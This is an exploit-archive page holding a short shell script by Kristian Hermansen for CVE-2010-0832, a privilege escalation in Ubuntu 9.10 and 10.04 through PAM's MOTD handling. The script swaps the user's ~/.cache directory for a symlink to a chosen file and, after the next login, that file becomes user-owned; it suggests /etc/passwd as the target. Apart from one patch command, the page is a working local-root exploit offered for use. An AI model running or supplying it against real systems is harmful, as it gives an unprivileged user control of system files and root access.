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Ubuntu PAM MOTD File Tampering Privilege Escalation

Ubuntu PAM MOTD File Tampering Privilege Escalation
Posted Jul 8, 2010
Authored by Kristian Hermansen

Ubuntu PAM MOTD file tampering privilege escalation exploit.

tags | exploit
systems | linux, ubuntu
advisories | CVE-2010-0832
SHA-256 | 64f14303f4353201fcabda2c340c9ce39b77a29ded2ef2f176f4f66a6890da46

Ubuntu PAM MOTD File Tampering Privilege Escalation

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#!/bin/sh
#
# Exploit Title: Ubuntu PAM MOTD file tampering (privilege escalation)
# Date: July 7, 2010
# Author: Kristian Erik Hermansen <kristian.hermansen@gmail.com>
# Software Link: http://packages.ubuntu.com/
# Version: pam-1.1.0
# Tested on: Ubuntu 10.04 LTS (Lucid Lynx)
# CVE : CVE-2010-0832
#
# Notes: Affects Ubuntu 9.10 and 10.04 LTS
# [Patch Instructions]
# $ sudo aptitude -y update; sudo aptitude -y install libpam~n~i
#

if [ $# -eq 0 ]; then
echo "Usage: $0 /path/to/file"
exit 1
fi

mkdir $HOME/backup 2> /dev/null
tmpdir=$(mktemp -d --tmpdir=$HOME/backup/)
mv $HOME/.cache/ $tmpdir 2> /dev/null
echo "\n@@@ File before tampering ...\n"
ls -l $1
ln -sf $1 $HOME/.cache
echo "\n@@@ Now log back into your shell (or re-ssh) to make PAM call vulnerable MOTD code :) File will then be owned by your user. Try /etc/passwd...\n"

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